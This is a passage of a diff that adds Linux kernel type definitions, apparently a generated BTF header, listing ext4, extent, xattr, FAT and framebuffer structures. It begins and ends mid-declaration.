ext4_fsblk_t p_block; + __u16 p_depth; + __u16 p_maxdepth; + struct ext4_extent *p_ext; + struct ext4_extent_idx *p_idx; + struct ext4_extent_header *p_hdr; + struct buffer_head *p_bh; +}; + +struct ext4_extent { + __le32 ee_block; + __le16 ee_len; + __le16 ee_start_hi; + __le32 ee_start_lo; +}; + +struct ext4_extent_header { + __le16 eh_magic; + __le16 eh_entries; + __le16 eh_max; + __le16 eh_depth; + __le32 eh_generation; +}; + +struct ext4_extent_idx { + __le32 ei_block; + __le32 ei_leaf_lo; + __le16 ei_leaf_hi; + __u16 ei_unused; +}; + +struct ext4_extent_tail { + __le32 et_checksum; +}; + +struct ext4_fc_add_range { + __le32 fc_ino; + __u8 fc_ex[12]; +}; + +struct ext4_fc_alloc_region { + ext4_lblk_t lblk; + ext4_fsblk_t pblk; + int ino; + int len; +}; + +struct ext4_fc_del_range { + __le32 fc_ino; + __le32 fc_lblk; + __le32 fc_len; +}; + +struct ext4_fc_dentry_info { + __le32 fc_parent_ino; + __le32 fc_ino; + __u8 fc_dname[0]; +}; + +struct ext4_fc_dentry_update { + int fcd_op; + int fcd_parent; + int fcd_ino; + struct qstr fcd_name; + unsigned char fcd_iname[40]; + struct list_head fcd_list; + struct list_head fcd_dilist; +}; + +struct ext4_fc_head { + __le32 fc_features; + __le32 fc_tid; +}; + +struct ext4_fc_inode { + __le32 fc_ino; + __u8 fc_raw_inode[0]; +}; + +struct ext4_fc_replay_state { + int fc_replay_num_tags; + int fc_replay_expected_off; + int fc_current_pass; + int fc_cur_tag; + int fc_crc; + struct ext4_fc_alloc_region *fc_regions; + int fc_regions_size; + int fc_regions_used; + int fc_regions_valid; + int *fc_modified_inodes; + int fc_modified_inodes_used; + int fc_modified_inodes_size; +}; + +struct ext4_fc_stats { + unsigned int fc_ineligible_reason_count[10]; + unsigned long fc_num_commits; + unsigned long fc_ineligible_commits; + unsigned long fc_failed_commits; + unsigned long fc_skipped_commits; + unsigned long fc_numblks; + u64 s_fc_avg_commit_time; +}; + +struct ext4_fc_tail { + __le32 fc_tid; + __le32 fc_crc; +}; + +struct ext4_fc_tl { + __le16 fc_tag; + __le16 fc_len; +}; + +struct ext4_fc_tl_mem { + u16 fc_tag; + u16 fc_len; +}; + +struct ext4_filename { + const struct qstr *usr_fname; + struct fscrypt_str disk_name; + struct dx_hash_info hinfo; +}; + +struct ext4_free_data { + struct list_head efd_list; + struct rb_node efd_node; + ext4_group_t efd_group; + ext4_grpblk_t efd_start_cluster; + ext4_grpblk_t efd_count; + tid_t efd_tid; +}; + +struct fscrypt_dummy_policy {}; + +struct ext4_fs_context { + char *s_qf_names[3]; + struct fscrypt_dummy_policy dummy_enc_policy; + int s_jquota_fmt; + unsigned short qname_spec; + unsigned long vals_s_flags; + unsigned long mask_s_flags; + unsigned long journal_devnum; + unsigned long s_commit_interval; + unsigned long s_stripe; + unsigned int s_inode_readahead_blks; + unsigned int s_want_extra_isize; + unsigned int s_li_wait_mult; + unsigned int s_max_dir_size_kb; + unsigned int journal_ioprio; + unsigned int vals_s_mount_opt; + unsigned int mask_s_mount_opt; + unsigned int vals_s_mount_opt2; + unsigned int mask_s_mount_opt2; + unsigned int opt_flags; + unsigned int spec; + u32 s_max_batch_time; + u32 s_min_batch_time; + kuid_t s_resuid; + kgid_t s_resgid; + ext4_fsblk_t s_sb_block; +}; + +struct ext4_fsmap { + struct list_head fmr_list; + dev_t fmr_device; + uint32_t fmr_flags; + uint64_t fmr_physical; + uint64_t fmr_owner; + uint64_t fmr_length; +}; + +struct ext4_fsmap_head { + uint32_t fmh_iflags; + uint32_t fmh_oflags; + unsigned int fmh_count; + unsigned int fmh_entries; + struct ext4_fsmap fmh_keys[2]; +}; + +struct ext4_getfsmap_info; + +struct ext4_getfsmap_dev { + int (*gfd_fn)(struct super_block *, struct ext4_fsmap *, struct ext4_getfsmap_info *); + u32 gfd_dev; +}; + +typedef int (*ext4_fsmap_format_t)(struct ext4_fsmap *, void *); + +struct ext4_getfsmap_info { + struct ext4_fsmap_head *gfi_head; + ext4_fsmap_format_t gfi_formatter; + void *gfi_format_arg; + ext4_fsblk_t gfi_next_fsblk; + u32 gfi_dev; + ext4_group_t gfi_agno; + struct ext4_fsmap gfi_low; + struct ext4_fsmap gfi_high; + struct ext4_fsmap gfi_lastfree; + struct list_head gfi_meta_list; + bool gfi_last; +}; + +struct ext4_group_desc { + __le32 bg_block_bitmap_lo; + __le32 bg_inode_bitmap_lo; + __le32 bg_inode_table_lo; + __le16 bg_free_blocks_count_lo; + __le16 bg_free_inodes_count_lo; + __le16 bg_used_dirs_count_lo; + __le16 bg_flags; + __le32 bg_exclude_bitmap_lo; + __le16 bg_block_bitmap_csum_lo; + __le16 bg_inode_bitmap_csum_lo; + __le16 bg_itable_unused_lo; + __le16 bg_checksum; + __le32 bg_block_bitmap_hi; + __le32 bg_inode_bitmap_hi; + __le32 bg_inode_table_hi; + __le16 bg_free_blocks_count_hi; + __le16 bg_free_inodes_count_hi; + __le16 bg_used_dirs_count_hi; + __le16 bg_itable_unused_hi; + __le32 bg_exclude_bitmap_hi; + __le16 bg_block_bitmap_csum_hi; + __le16 bg_inode_bitmap_csum_hi; + __u32 bg_reserved; +}; + +struct ext4_group_info { + unsigned long bb_state; + struct rb_root bb_free_root; + ext4_grpblk_t bb_first_free; + ext4_grpblk_t bb_free; + ext4_grpblk_t bb_fragments; + int bb_avg_fragment_size_order; + ext4_grpblk_t bb_largest_free_order; + ext4_group_t bb_group; + struct list_head bb_prealloc_list; + struct rw_semaphore alloc_sem; + struct list_head bb_avg_fragment_size_node; + struct list_head bb_largest_free_order_node; + ext4_grpblk_t bb_counters[0]; +}; + +struct ext4_iloc { + struct buffer_head *bh; + unsigned long offset; + ext4_group_t block_group; +}; + +struct ext4_inode { + __le16 i_mode; + __le16 i_uid; + __le32 i_size_lo; + __le32 i_atime; + __le32 i_ctime; + __le32 i_mtime; + __le32 i_dtime; + __le16 i_gid; + __le16 i_links_count; + __le32 i_blocks_lo; + __le32 i_flags; + union { + struct { + __le32 l_i_version; + } linux1; + struct { + __u32 h_i_translator; + } hurd1; + struct { + __u32 m_i_reserved1; + } masix1; + } osd1; + __le32 i_block[15]; + __le32 i_generation; + __le32 i_file_acl_lo; + __le32 i_size_high; + __le32 i_obso_faddr; + union { + struct { + __le16 l_i_blocks_high; + __le16 l_i_file_acl_high; + __le16 l_i_uid_high; + __le16 l_i_gid_high; + __le16 l_i_checksum_lo; + __le16 l_i_reserved; + } linux2; + struct { + __le16 h_i_reserved1; + __u16 h_i_mode_high; + __u16 h_i_uid_high; + __u16 h_i_gid_high; + __u32 h_i_author; + } hurd2; + struct { + __le16 h_i_reserved1; + __le16 m_i_file_acl_high; + __u32 m_i_reserved2[2]; + } masix2; + } osd2; + __le16 i_extra_isize; + __le16 i_checksum_hi; + __le32 i_ctime_extra; + __le32 i_mtime_extra; + __le32 i_atime_extra; + __le32 i_crtime; + __le32 i_crtime_extra; + __le32 i_version_hi; + __le32 i_projid; +}; + +struct timespec64 { + time64_t tv_sec; + long tv_nsec; +}; + +struct ext4_pending_tree { + struct rb_root root; +}; + +struct jbd2_inode; + +struct ext4_inode_info { + __le32 i_data[15]; + __u32 i_dtime; + ext4_fsblk_t i_file_acl; + ext4_group_t i_block_group; + ext4_lblk_t i_dir_start_lookup; + unsigned long i_flags; + struct rw_semaphore xattr_sem; + union { + struct list_head i_orphan; + unsigned int i_orphan_idx; + }; + struct list_head i_fc_dilist; + struct list_head i_fc_list; + ext4_lblk_t i_fc_lblk_start; + ext4_lblk_t i_fc_lblk_len; + atomic_t i_fc_updates; + atomic_t i_unwritten; + wait_queue_head_t i_fc_wait; + struct mutex i_fc_lock; + loff_t i_disksize; + struct rw_semaphore i_data_sem; + struct inode vfs_inode; + struct jbd2_inode *jinode; + spinlock_t i_raw_lock; + struct timespec64 i_crtime; + atomic_t i_prealloc_active; + unsigned int i_reserved_data_blocks; + struct rb_root i_prealloc_node; + rwlock_t i_prealloc_lock; + struct ext4_es_tree i_es_tree; + rwlock_t i_es_lock; + struct list_head i_es_list; + unsigned int i_es_all_nr; + unsigned int i_es_shk_nr; + ext4_lblk_t i_es_shrink_lblk; + ext4_group_t i_last_alloc_group; + struct ext4_pending_tree i_pending_tree; + __u16 i_extra_isize; + u16 i_inline_off; + u16 i_inline_size; + spinlock_t i_completed_io_lock; + struct list_head i_rsv_conversion_list; + struct work_struct i_rsv_conversion_work; + spinlock_t i_block_reservation_lock; + tid_t i_sync_tid; + tid_t i_datasync_tid; + __u32 i_csum_seed; + kprojid_t i_projid; +}; + +struct jbd2_journal_handle; + +typedef struct jbd2_journal_handle handle_t; + +struct ext4_io_end { + struct list_head list; + handle_t *handle; + struct inode *inode; + struct bio *bio; + unsigned int flag; + refcount_t count; + struct list_head list_vec; +}; + +typedef struct ext4_io_end ext4_io_end_t; + +struct ext4_io_end_vec { + struct list_head list; + loff_t offset; + ssize_t size; +}; + +struct ext4_io_submit { + struct writeback_control *io_wbc; + struct bio *io_bio; + ext4_io_end_t *io_end; + sector_t io_next_block; +}; + +struct ext4_journal_cb_entry { + struct list_head jce_list; + void (*jce_func)(struct super_block *, struct ext4_journal_cb_entry *, int); +}; + +struct jbd2_buffer_trigger_type { + void (*t_frozen)(struct jbd2_buffer_trigger_type *, struct buffer_head *, void *, size_t); + void (*t_abort)(struct jbd2_buffer_trigger_type *, struct buffer_head *); +}; + +struct ext4_journal_trigger { + struct jbd2_buffer_trigger_type tr_triggers; + struct super_block *sb; +}; + +struct ext4_lazy_init { + unsigned long li_state; + struct list_head li_request_list; + struct mutex li_list_mtx; +}; + +struct ext4_li_request { + struct super_block *lr_super; + enum ext4_li_mode lr_mode; + ext4_group_t lr_first_not_zeroed; + ext4_group_t lr_next_group; + struct list_head lr_request; + unsigned long lr_next_sched; + unsigned long lr_timeout; +}; + +struct ext4_locality_group { + struct mutex lg_mutex; + struct list_head lg_prealloc_list[10]; + spinlock_t lg_prealloc_lock; +}; + +struct ext4_map_blocks { + ext4_fsblk_t m_pblk; + ext4_lblk_t m_lblk; + unsigned int m_len; + unsigned int m_flags; +}; + +struct ext4_mount_options { + unsigned long s_mount_opt; + unsigned long s_mount_opt2; + kuid_t s_resuid; + kgid_t s_resgid; + unsigned long s_commit_interval; + u32 s_min_batch_time; + u32 s_max_batch_time; +}; + +struct ext4_new_group_data; + +struct ext4_new_flex_group_data { + struct ext4_new_group_data *groups; + __u16 *bg_flags; + ext4_group_t resize_bg; + ext4_group_t count; +}; + +struct ext4_new_group_data { + __u32 group; + __u64 block_bitmap; + __u64 inode_bitmap; + __u64 inode_table; + __u32 blocks_count; + __u16 reserved_blocks; + __u16 mdata_blocks; + __u32 free_clusters_count; +}; + +struct ext4_new_group_input { + __u32 group; + __u64 block_bitmap; + __u64 inode_bitmap; + __u64 inode_table; + __u32 blocks_count; + __u16 reserved_blocks; + __u16 unused; +}; + +struct ext4_orphan_block { + atomic_t ob_free_entries; + struct buffer_head *ob_bh; +}; + +struct ext4_orphan_block_tail { + __le32 ob_magic; + __le32 ob_checksum; +}; + +struct ext4_orphan_info { + int of_blocks; + __u32 of_csum_seed; + struct ext4_orphan_block *of_binfo; +}; + +struct ext4_prealloc_space { + union { + struct rb_node inode_node; + struct list_head lg_list; + } pa_node; + struct list_head pa_group_list; + union { + struct list_head pa_tmp_list; + struct callback_head pa_rcu; + } u; + spinlock_t pa_lock; + atomic_t pa_count; + unsigned int pa_deleted; + ext4_fsblk_t pa_pstart; + ext4_lblk_t pa_lstart; + ext4_grpblk_t pa_len; + ext4_grpblk_t pa_free; + unsigned short pa_type; + union { + rwlock_t *inode_lock; + spinlock_t *lg_lock; + } pa_node_lock; + struct inode *pa_inode; +}; + +struct ext4_rcu_ptr { + struct callback_head rcu; + void *ptr; +}; + +struct ext4_renament { + struct inode *dir; + struct dentry *dentry; + struct inode *inode; + bool is_dir; + int dir_nlink_delta; + struct buffer_head *bh; + struct ext4_dir_entry_2 *de; + int inlined; + struct buffer_head *dir_bh; + struct ext4_dir_entry_2 *parent_de; + int dir_inlined; +}; + +struct rcu_sync { + int gp_state; + int gp_count; + wait_queue_head_t gp_wait; + struct callback_head cb_head; +}; + +struct percpu_rw_semaphore { + struct rcu_sync rss; + unsigned int __attribute__((btf_type_tag("percpu"))) *read_count; + struct rcuwait writer; + wait_queue_head_t waiters; + atomic_t block; + struct lockdep_map dep_map; +}; + +struct ext4_super_block; + +struct journal_s; + +struct ext4_system_blocks; + +struct flex_groups; + +struct mb_cache; + +struct ext4_sb_info { + unsigned long s_desc_size; + unsigned long s_inodes_per_block; + unsigned long s_blocks_per_group; + unsigned long s_clusters_per_group; + unsigned long s_inodes_per_group; + unsigned long s_itb_per_group; + unsigned long s_gdb_count; + unsigned long s_desc_per_block; + ext4_group_t s_groups_count; + ext4_group_t s_blockfile_groups; + unsigned long s_overhead; + unsigned int s_cluster_ratio; + unsigned int s_cluster_bits; + loff_t s_bitmap_maxbytes; + struct buffer_head *s_sbh; + struct ext4_super_block *s_es; + struct buffer_head * __attribute__((btf_type_tag("rcu"))) *s_group_desc; + unsigned int s_mount_opt; + unsigned int s_mount_opt2; + unsigned long s_mount_flags; + unsigned int s_def_mount_opt; + unsigned int s_def_mount_opt2; + ext4_fsblk_t s_sb_block; + atomic64_t s_resv_clusters; + kuid_t s_resuid; + kgid_t s_resgid; + unsigned short s_mount_state; + unsigned short s_pad; + int s_addr_per_block_bits; + int s_desc_per_block_bits; + int s_inode_size; + int s_first_ino; + unsigned int s_inode_readahead_blks; + unsigned int s_inode_goal; + u32 s_hash_seed[4]; + int s_def_hash_version; + int s_hash_unsigned; + struct percpu_counter s_freeclusters_counter; + struct percpu_counter s_freeinodes_counter; + struct percpu_counter s_dirs_counter; + struct percpu_counter s_dirtyclusters_counter; + struct percpu_counter s_sra_exceeded_retry_limit; + struct blockgroup_lock *s_blockgroup_lock; + struct proc_dir_entry *s_proc; + struct kobject s_kobj; + struct completion s_kobj_unregister; + struct super_block *s_sb; + struct buffer_head *s_mmp_bh; + struct journal_s *s_journal; + unsigned long s_ext4_flags; + struct mutex s_orphan_lock; + struct list_head s_orphan; + struct ext4_orphan_info s_orphan_info; + unsigned long s_commit_interval; + u32 s_max_batch_time; + u32 s_min_batch_time; + struct file *s_journal_bdev_file; + unsigned int s_want_extra_isize; + struct ext4_system_blocks __attribute__((btf_type_tag("rcu"))) *s_system_blks; + struct ext4_group_info ** __attribute__((btf_type_tag("rcu"))) *s_group_info; + struct inode *s_buddy_cache; + spinlock_t s_md_lock; + unsigned short *s_mb_offsets; + unsigned int *s_mb_maxs; + unsigned int s_group_info_size; + unsigned int s_mb_free_pending; + struct list_head s_freed_data_list[2]; + struct list_head s_discard_list; + struct work_struct s_discard_work; + atomic_t s_retry_alloc_pending; + struct list_head *s_mb_avg_fragment_size; + rwlock_t *s_mb_avg_fragment_size_locks; + struct list_head *s_mb_largest_free_orders; + rwlock_t *s_mb_largest_free_orders_locks; + unsigned long s_stripe; + unsigned int s_mb_max_linear_groups; + unsigned int s_mb_stream_request; + unsigned int s_mb_max_to_scan; + unsigned int s_mb_min_to_scan; + unsigned int s_mb_stats; + unsigned int s_mb_order2_reqs; + unsigned int s_mb_group_prealloc; + unsigned int s_max_dir_size_kb; + unsigned long s_mb_last_group; + unsigned long s_mb_last_start; + unsigned int s_mb_prefetch; + unsigned int s_mb_prefetch_limit; + unsigned int s_mb_best_avail_max_trim_order; + atomic_t s_bal_reqs; + atomic_t s_bal_success; + atomic_t s_bal_allocated; + atomic_t s_bal_ex_scanned; + atomic_t s_bal_cX_ex_scanned[5]; + atomic_t s_bal_groups_scanned; + atomic_t s_bal_goals; + atomic_t s_bal_len_goals; + atomic_t s_bal_breaks; + atomic_t s_bal_2orders; + atomic_t s_bal_p2_aligned_bad_suggestions; + atomic_t s_bal_goal_fast_bad_suggestions; + atomic_t s_bal_best_avail_bad_suggestions; + atomic64_t s_bal_cX_groups_considered[5]; + atomic64_t s_bal_cX_hits[5]; + atomic64_t s_bal_cX_failed[5]; + atomic_t s_mb_buddies_generated; + atomic64_t s_mb_generation_time; + atomic_t s_mb_lost_chunks; + atomic_t s_mb_preallocated; + atomic_t s_mb_discarded; + atomic_t s_lock_busy; + struct ext4_locality_group __attribute__((btf_type_tag("percpu"))) *s_locality_groups; + unsigned long s_sectors_written_start; + u64 s_kbytes_written; + unsigned int s_extent_max_zeroout_kb; + unsigned int s_log_groups_per_flex; + struct flex_groups * __attribute__((btf_type_tag("rcu"))) *s_flex_groups; + ext4_group_t s_flex_groups_allocated; + struct workqueue_struct *rsv_conversion_wq; + struct timer_list s_err_report; + struct ext4_li_request *s_li_request; + unsigned int s_li_wait_mult; + struct task_struct *s_mmp_tsk; + unsigned long s_last_trim_minblks; + struct crypto_shash *s_chksum_driver; + __u32 s_csum_seed; + struct shrinker *s_es_shrinker; + struct list_head s_es_list; + long s_es_nr_inode; + struct ext4_es_stats s_es_stats; + struct mb_cache *s_ea_block_cache; + struct mb_cache *s_ea_inode_cache; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t s_es_lock; + struct ext4_journal_trigger s_journal_triggers[1]; + struct ratelimit_state s_err_ratelimit_state; + struct ratelimit_state s_warning_ratelimit_state; + struct ratelimit_state s_msg_ratelimit_state; + atomic_t s_warning_count; + atomic_t s_msg_count; + struct fscrypt_dummy_policy s_dummy_enc_policy; + struct percpu_rw_semaphore s_writepages_rwsem; + struct dax_device *s_daxdev; + u64 s_dax_part_off; + errseq_t s_bdev_wb_err; + spinlock_t s_bdev_wb_lock; + spinlock_t s_error_lock; + int s_add_error_count; + int s_first_error_code; + __u32 s_first_error_line; + __u32 s_first_error_ino; + __u64 s_first_error_block; + const char *s_first_error_func; + time64_t s_first_error_time; + int s_last_error_code; + __u32 s_last_error_line; + __u32 s_last_error_ino; + __u64 s_last_error_block; + const char *s_last_error_func; + time64_t s_last_error_time; + struct work_struct s_sb_upd_work; + atomic_t s_fc_subtid; + struct list_head s_fc_q[2]; + struct list_head s_fc_dentry_q[2]; + unsigned int s_fc_bytes; + spinlock_t s_fc_lock; + struct buffer_head *s_fc_bh; + struct ext4_fc_stats s_fc_stats; + tid_t s_fc_ineligible_tid; + struct ext4_fc_replay_state s_fc_replay_state; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct ext4_super_block { + __le32 s_inodes_count; + __le32 s_blocks_count_lo; + __le32 s_r_blocks_count_lo; + __le32 s_free_blocks_count_lo; + __le32 s_free_inodes_count; + __le32 s_first_data_block; + __le32 s_log_block_size; + __le32 s_log_cluster_size; + __le32 s_blocks_per_group; + __le32 s_clusters_per_group; + __le32 s_inodes_per_group; + __le32 s_mtime; + __le32 s_wtime; + __le16 s_mnt_count; + __le16 s_max_mnt_count; + __le16 s_magic; + __le16 s_state; + __le16 s_errors; + __le16 s_minor_rev_level; + __le32 s_lastcheck; + __le32 s_checkinterval; + __le32 s_creator_os; + __le32 s_rev_level; + __le16 s_def_resuid; + __le16 s_def_resgid; + __le32 s_first_ino; + __le16 s_inode_size; + __le16 s_block_group_nr; + __le32 s_feature_compat; + __le32 s_feature_incompat; + __le32 s_feature_ro_compat; + __u8 s_uuid[16]; + char s_volume_name[16]; + char s_last_mounted[64]; + __le32 s_algorithm_usage_bitmap; + __u8 s_prealloc_blocks; + __u8 s_prealloc_dir_blocks; + __le16 s_reserved_gdt_blocks; + __u8 s_journal_uuid[16]; + __le32 s_journal_inum; + __le32 s_journal_dev; + __le32 s_last_orphan; + __le32 s_hash_seed[4]; + __u8 s_def_hash_version; + __u8 s_jnl_backup_type; + __le16 s_desc_size; + __le32 s_default_mount_opts; + __le32 s_first_meta_bg; + __le32 s_mkfs_time; + __le32 s_jnl_blocks[17]; + __le32 s_blocks_count_hi; + __le32 s_r_blocks_count_hi; + __le32 s_free_blocks_count_hi; + __le16 s_min_extra_isize; + __le16 s_want_extra_isize; + __le32 s_flags; + __le16 s_raid_stride; + __le16 s_mmp_update_interval; + __le64 s_mmp_block; + __le32 s_raid_stripe_width; + __u8 s_log_groups_per_flex; + __u8 s_checksum_type; + __u8 s_encryption_level; + __u8 s_reserved_pad; + __le64 s_kbytes_written; + __le32 s_snapshot_inum; + __le32 s_snapshot_id; + __le64 s_snapshot_r_blocks_count; + __le32 s_snapshot_list; + __le32 s_error_count; + __le32 s_first_error_time; + __le32 s_first_error_ino; + __le64 s_first_error_block; + __u8 s_first_error_func[32]; + __le32 s_first_error_line; + __le32 s_last_error_time; + __le32 s_last_error_ino; + __le32 s_last_error_line; + __le64 s_last_error_block; + __u8 s_last_error_func[32]; + __u8 s_mount_opts[64]; + __le32 s_usr_quota_inum; + __le32 s_grp_quota_inum; + __le32 s_overhead_clusters; + __le32 s_backup_bgs[2]; + __u8 s_encrypt_algos[4]; + __u8 s_encrypt_pw_salt[16]; + __le32 s_lpf_ino; + __le32 s_prj_quota_inum; + __le32 s_checksum_seed; + __u8 s_wtime_hi; + __u8 s_mtime_hi; + __u8 s_mkfs_time_hi; + __u8 s_lastcheck_hi; + __u8 s_first_error_time_hi; + __u8 s_last_error_time_hi; + __u8 s_first_error_errcode; + __u8 s_last_error_errcode; + __le16 s_encoding; + __le16 s_encoding_flags; + __le32 s_orphan_file_inum; + __le32 s_reserved[94]; + __le32 s_checksum; +}; + +struct ext4_system_blocks { + struct rb_root root; + struct callback_head rcu; +}; + +struct ext4_system_zone { + struct rb_node node; + ext4_fsblk_t start_blk; + unsigned int count; + u32 ino; +}; + +struct ext4_xattr_entry; + +struct ext4_xattr_search { + struct ext4_xattr_entry *first; + void *base; + void *end; + struct ext4_xattr_entry *here; + int not_found; +}; + +struct ext4_xattr_block_find { + struct ext4_xattr_search s; + struct buffer_head *bh; +}; + +struct ext4_xattr_entry { + __u8 e_name_len; + __u8 e_name_index; + __le16 e_value_offs; + __le32 e_value_inum; + __le32 e_value_size; + __le32 e_hash; + char e_name[0]; +}; + +struct ext4_xattr_header { + __le32 h_magic; + __le32 h_refcount; + __le32 h_blocks; + __le32 h_hash; + __le32 h_checksum; + __u32 h_reserved[3]; +}; + +struct ext4_xattr_ibody_find { + struct ext4_xattr_search s; + struct ext4_iloc iloc; +}; + +struct ext4_xattr_ibody_header { + __le32 h_magic; +}; + +struct ext4_xattr_info { + const char *name; + const void *value; + size_t value_len; + int name_index; + int in_inode; +}; + +struct ext4_xattr_inode_array { + unsigned int count; + struct inode *inodes[0]; +}; + +struct ext_arg { + size_t argsz; + struct __kernel_timespec __attribute__((btf_type_tag("user"))) *ts; + const sigset_t __attribute__((btf_type_tag("user"))) *sig; + ktime_t min_time; +}; + +struct msg_msg; + +struct ext_wait_queue { + struct task_struct *task; + struct list_head list; + struct msg_msg *msg; + int state; +}; + +struct extended_signature { + unsigned int sig; + unsigned int pf; + unsigned int cksum; +}; + +struct extended_sigtable { + unsigned int count; + unsigned int cksum; + unsigned int reserved[3]; + struct extended_signature sigs[0]; +}; + +struct extent_buffer { + u64 start; + u32 len; + u32 folio_size; + unsigned long bflags; + struct btrfs_fs_info *fs_info; + void *addr; + spinlock_t refs_lock; + atomic_t refs; + int read_mirror; + s8 log_index; + u8 folio_shift; + struct callback_head callback_head; + struct rw_semaphore lock; + struct folio *folios[16]; +}; + +struct extent_changeset { + u64 bytes_changed; + struct ulist range_changed; +}; + +struct extent_inode_elem { + u64 inum; + u64 offset; + u64 num_bytes; + struct extent_inode_elem *next; +}; + +struct extent_map { + struct rb_node rb_node; + u64 start; + u64 len; + u64 disk_bytenr; + u64 disk_num_bytes; + u64 offset; + u64 ram_bytes; + u64 generation; + u32 flags; + refcount_t refs; + struct list_head list; +}; + +struct extent_state { + u64 start; + u64 end; + struct rb_node rb_node; + wait_queue_head_t wq; + refcount_t refs; + u32 state; +}; + +struct extent_status { + struct rb_node rb_node; + ext4_lblk_t es_lblk; + ext4_lblk_t es_len; + ext4_fsblk_t es_pblk; +}; + +struct external_name { + union { + atomic_t count; + struct callback_head head; + } u; + unsigned char name[0]; +}; + +struct extra_reg { + unsigned int event; + unsigned int msr; + u64 config_mask; + u64 valid_mask; + int idx; + bool extra_msr_access; +}; + +struct f815xxa_data { + spinlock_t lock; + int idx; +}; + +struct f_owner_ex { + int type; + __kernel_pid_t pid; +}; + +struct failover_ops; + +struct failover { + struct list_head list; + struct net_device __attribute__((btf_type_tag("rcu"))) *failover_dev; + netdevice_tracker dev_tracker; + struct failover_ops __attribute__((btf_type_tag("rcu"))) *ops; +}; + +struct failover_ops { + int (*slave_pre_register)(struct net_device *, struct net_device *); + int (*slave_register)(struct net_device *, struct net_device *); + int (*slave_pre_unregister)(struct net_device *, struct net_device *); + int (*slave_unregister)(struct net_device *, struct net_device *); + int (*slave_link_change)(struct net_device *, struct net_device *); + int (*slave_name_change)(struct net_device *, struct net_device *); + rx_handler_result_t (*slave_handle_frame)(struct sk_buff **); +}; + +struct falloc_range { + struct list_head list; + u64 start; + u64 len; +}; + +struct fanout_args { + __u16 id; + __u16 type_flags; + __u32 max_num_members; +}; + +struct fast_pool { + unsigned long pool[4]; + unsigned long last; + unsigned int count; + struct timer_list mix; +}; + +struct request_sock; + +struct tcp_fastopen_context; + +struct fastopen_queue { + struct request_sock *rskq_rst_head; + struct request_sock *rskq_rst_tail; + spinlock_t lock; + int qlen; + int max_qlen; + struct tcp_fastopen_context __attribute__((btf_type_tag("rcu"))) *ctx; +}; + +struct fasync_struct { + rwlock_t fa_lock; + int magic; + int fa_fd; + struct fasync_struct *fa_next; + struct file *fa_file; + struct callback_head fa_rcu; +}; + +struct fat_bios_param_block { + u16 fat_sector_size; + u8 fat_sec_per_clus; + u16 fat_reserved; + u8 fat_fats; + u16 fat_dir_entries; + u16 fat_sectors; + u16 fat_fat_length; + u32 fat_total_sect; + u8 fat16_state; + u32 fat16_vol_id; + u32 fat32_length; + u32 fat32_root_cluster; + u16 fat32_info_sector; + u8 fat32_state; + u32 fat32_vol_id; +}; + +struct fat_boot_fsinfo { + __le32 signature1; + __le32 reserved1[120]; + __le32 signature2; + __le32 free_clusters; + __le32 next_cluster; + __le32 reserved2[4]; +}; + +struct fat_boot_sector { + __u8 ignored[3]; + __u8 system_id[8]; + __u8 sector_size[2]; + __u8 sec_per_clus; + __le16 reserved; + __u8 fats; + __u8 dir_entries[2]; + __u8 sectors[2]; + __u8 media; + __le16 fat_length; + __le16 secs_track; + __le16 heads; + __le32 hidden; + __le32 total_sect; + union { + struct { + __u8 drive_number; + __u8 state; + __u8 signature; + __u8 vol_id[4]; + __u8 vol_label[11]; + __u8 fs_type[8]; + } fat16; + struct { + __le32 length; + __le16 flags; + __u8 version[2]; + __le32 root_cluster; + __le16 info_sector; + __le16 backup_boot; + __le16 reserved2[6]; + __u8 drive_number; + __u8 state; + __u8 signature; + __u8 vol_id[4]; + __u8 vol_label[11]; + __u8 fs_type[8]; + } fat32; + }; +}; + +struct fat_cache { + struct list_head cache_list; + int nr_contig; + int fcluster; + int dcluster; +}; + +struct fat_cache_id { + unsigned int id; + int nr_contig; + int fcluster; + int dcluster; +}; + +struct fat_entry { + int entry; + union { + u8 *ent12_p[2]; + __le16 *ent16_p; + __le32 *ent32_p; + } u; + int nr_bhs; + struct buffer_head *bhs[2]; + struct inode *fat_inode; +}; + +struct fat_fid { + u32 i_gen; + u32 i_pos_low; + u16 i_pos_hi; + u16 parent_i_pos_hi; + u32 parent_i_pos_low; + u32 parent_i_gen; +}; + +struct fat_floppy_defaults { + unsigned int nr_sectors; + unsigned int sec_per_clus; + unsigned int dir_entries; + unsigned int media; + unsigned int fat_length; +}; + +struct fat_ioctl_filldir_callback { + struct dir_context ctx; + void __attribute__((btf_type_tag("user"))) *dirent; + int result; + const char *longname; + int long_len; + const char *shortname; + int short_len; +}; + +struct fat_mount_options { + kuid_t fs_uid; + kgid_t fs_gid; + unsigned short fs_fmask; + unsigned short fs_dmask; + unsigned short codepage; + int time_offset; + char *iocharset; + unsigned short shortname; + unsigned char name_check; + unsigned char errors; + unsigned char nfs; + unsigned short allow_utime; + unsigned int quiet: 1; + unsigned int showexec: 1; + unsigned int sys_immutable: 1; + unsigned int dotsOK: 1; + unsigned int isvfat: 1; + unsigned int utf8: 1; + unsigned int unicode_xlate: 1; + unsigned int numtail: 1; + unsigned int flush: 1; + unsigned int nocase: 1; + unsigned int usefree: 1; + unsigned int tz_set: 1; + unsigned int rodir: 1; + unsigned int discard: 1; + unsigned int dos1xfloppy: 1; + unsigned int debug: 1; +}; + +struct msdos_dir_entry; + +struct fat_slot_info { + loff_t i_pos; + loff_t slot_off; + int nr_slots; + struct msdos_dir_entry *de; + struct buffer_head *bh; +}; + +struct fatent_operations { + void (*ent_blocknr)(struct super_block *, int, int *, sector_t *); + void (*ent_set_ptr)(struct fat_entry *, int); + int (*ent_bread)(struct super_block *, struct fat_entry *, int, sector_t); + int (*ent_get)(struct fat_entry *); + void (*ent_put)(struct fat_entry *, int); + int (*ent_next)(struct fat_entry *); +}; + +struct fatent_ra { + sector_t cur; + sector_t limit; + unsigned int ra_blocks; + sector_t ra_advance; + sector_t ra_next; + sector_t ra_limit; +}; + +struct fb_bitfield { + __u32 offset; + __u32 length; + __u32 msb_right; +}; + +struct fb_blit_caps { + unsigned long x[1]; + unsigned long y[2]; + u32 len; + u32 flags; +}; + +struct fb_chroma { + __u32 redx; + __u32 greenx; + __u32 bluex; + __u32 whitex; + __u32 redy; + __u32 greeny; + __u32 bluey; + __u32 whitey; +}; + +struct fb_cmap { + __u32 start; + __u32 len; + __u16 *red; + __u16 *green; + __u16 *blue; + __u16 *transp; +}; + +struct fb_cmap_user { + __u32 start; + __u32 len; + __u16 